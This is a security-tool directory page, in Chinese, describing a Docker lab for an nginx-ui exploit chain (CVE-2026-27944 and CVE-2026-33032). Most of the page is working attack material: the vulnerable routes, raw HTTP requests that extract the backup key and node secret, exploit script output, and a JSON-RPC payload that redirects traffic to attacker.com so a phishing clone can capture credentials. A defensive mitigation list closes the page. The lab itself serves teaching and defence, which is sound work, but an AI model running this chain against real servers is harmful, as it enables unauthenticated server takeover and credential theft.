Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33032-nginx-ui-vuln-lab — Docker Compose 配置,用于演示 nginx-ui 缺失身份验证漏洞 | Kitploit
工具/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队实验室与实践
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

Docker Compose 配置,用于演示 nginx-ui 缺失身份验证漏洞

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-27944 + CVE-2026-33032 — nginx-ui 零凭证 RCE 实验环境

免责声明: 本仓库仅用于教育和授权安全研究目的。此处演示的所有技术只能用于您拥有或已获得明确书面许可进行测试的系统。作者对滥用行为不承担任何责任。未经授权,请勿对任何系统运行此工具。

一个自包含的 Docker Compose 实验环境,演示针对 nginx-ui v2.3.1 的双 CVE 漏洞链,可在零先验知识的情况下实现完全接管 nginx —— 无需用户名、无需密码、无需令牌。


漏洞链

CVE-2026-27944 — 未认证备份端点 + 密钥泄露

GET /api/backup 无需任何认证。该端点返回 nginx-ui 安装的完整加密备份(包括 app.ini),并将 AES-256-CBC 解密密钥和 IV 以明文形式放在响应头中:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

来自源码(api/backup/router.go):

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ 无中间件
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

解密备份可得到 app.ini,其中包含第 2 步所需的 。

[node] Secret
CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 严重
受影响版本nginx-ui < 2.3.2
修复版本nginx-ui 2.3.3

CVE-2026-33032 "MCPwn" — 未认证 MCP 消息处理器

nginx-ui v2.3.x 新增了**模型上下文协议(MCP)**接口,暴露了 12 个 nginx 管理工具。该漏洞源于 mcp/router.go 中缺少一个中间件调用:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ 缺少 AuthRequired()

攻击者通过节点密钥获取 sessionId 后,可在无任何用户凭证的情况下向 /mcp_message 发送 POST 请求,并调用任何特权工具 —— 包括 nginx_config_modify 和 reload_nginx。

CVECVE-2026-33032
别名MCPwn (Pluto Security)
CVSS9.8 严重
受影响版本nginx-ui ≤ 2.3.3
修复版本nginx-ui 2.3.4

实验环境架构

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  浏览器                                                   │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  攻击者                          ▼                       │
│  http://localhost:9000  ──►  nginx_ui (:9000) 存在漏洞    │
│  (无凭证)                    uozi/nginx-ui:v2.3.1       │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp(绿色)           │  合法登录表单    │
│              │  proxy_pass 默认配置     │                 │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site(红色)   │  钓鱼克隆页面    │
│              │  攻击后的 proxy_pass     │  窃取凭证       │
│              └─────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

nginx-ui 捆绑了自己的 nginx 实例。当漏洞利用通过 MCP 调用 reload_nginx 时,它会重新加载同一台在 :8080 上提供流量的 nginx —— 无需主机访问权限。


快速开始

环境要求: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <仓库地址>
cd nginx-ui-vuln-lab
docker compose up -d
URL
http://localhost:8080受害者站点 — 绿色(合法)
http://localhost:9000nginx-ui 管理面板

运行漏洞利用

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

该脚本在无任何先验凭证的情况下串联利用两个 CVE:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui 零凭证 RCE
  目标 : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — 下载备份(无需认证)
[+] 从响应头获取 AES 密钥+IV: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] 提取节点密钥: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — 打开未认证 MCP 会话 (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] 侦察 — 读取当前配置
[+] 当前: proxy_pass http://webapp:80;

[*] 通过 POST /mcp_message 覆盖 default.conf(无需认证)
[+] 新配置:     proxy_pass http://malicious_site:80;

[*] 通过 POST /mcp_message 重新加载 nginx(无需认证)
[+] nginx 已重新加载 — 配置已生效

[!] 攻击完成。
    访问 http://localhost:8080/ 的受害者现在看到的是钓鱼页面。
    查看捕获的凭证: http://localhost:8080/?debug=1

漏洞利用后,http://localhost:8080 会从绿色合法页面切换到红色钓鱼克隆页面 —— 在相同的 URL 上,受害者毫无察觉。

打开 http://localhost:8080/?debug=1 可查看攻击者面板并实时查看捕获的凭证。

重置

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

使用相同的 CVE 漏洞链恢复原始配置并重新加载 nginx。


工作原理

第 1 阶段 — 提取节点密钥(CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: target:9000

响应:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

使用提供的密钥/IV 解密 zip → 提取 app.ini → 读取 [node] Secret。

第 2 阶段 — 劫持 nginx(CVE-2026-33032)

请求 1 — 打开 SSE 会话(节点密钥,无需用户认证):

root@kitploit:~
GET /mcp?node_secret=<uuid>

SSE 流响应返回一个 sessionId。

请求 2+ — 调用工具(完全无需认证):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

无 Authorization 头。无 Cookie。AuthRequired() 在 /mcp_message 路由上完全缺失。


可用的 MCP 工具(均可未认证访问)

工具影响
nginx_config_modify覆盖任意配置文件
nginx_config_add创建新的配置文件
nginx_config_get读取任意配置文件
nginx_config_list列出所有配置
nginx_config_enable/disable启用/禁用站点配置
nginx_config_rename移动/重命名配置文件
nginx_config_mkdir创建目录
nginx_config_history查看变更历史
nginx_config_base_path揭示配置根路径
nginx_status检查 nginx 状态
reload_nginx实时应用配置变更
restart_nginx完全重启 nginx

防御措施

  • 打补丁 — 升级到 nginx-ui ≥ 2.3.4
  • 网络隔离 — 切勿将 nginx-ui 暴露给不受信任的网络;将其置于 VPN 或防火墙之后
  • IP 白名单 — 在 app.ini 中设置非空的 [node] IPWhiteList,将 MCP 访问限制为特定 IP
  • MFA — 在管理员账户上启用多因素认证
  • 文件完整性监控 — 使用文件完整性监控(auditd、Wazuh 等)监控 /etc/nginx/conf.d/
下载工具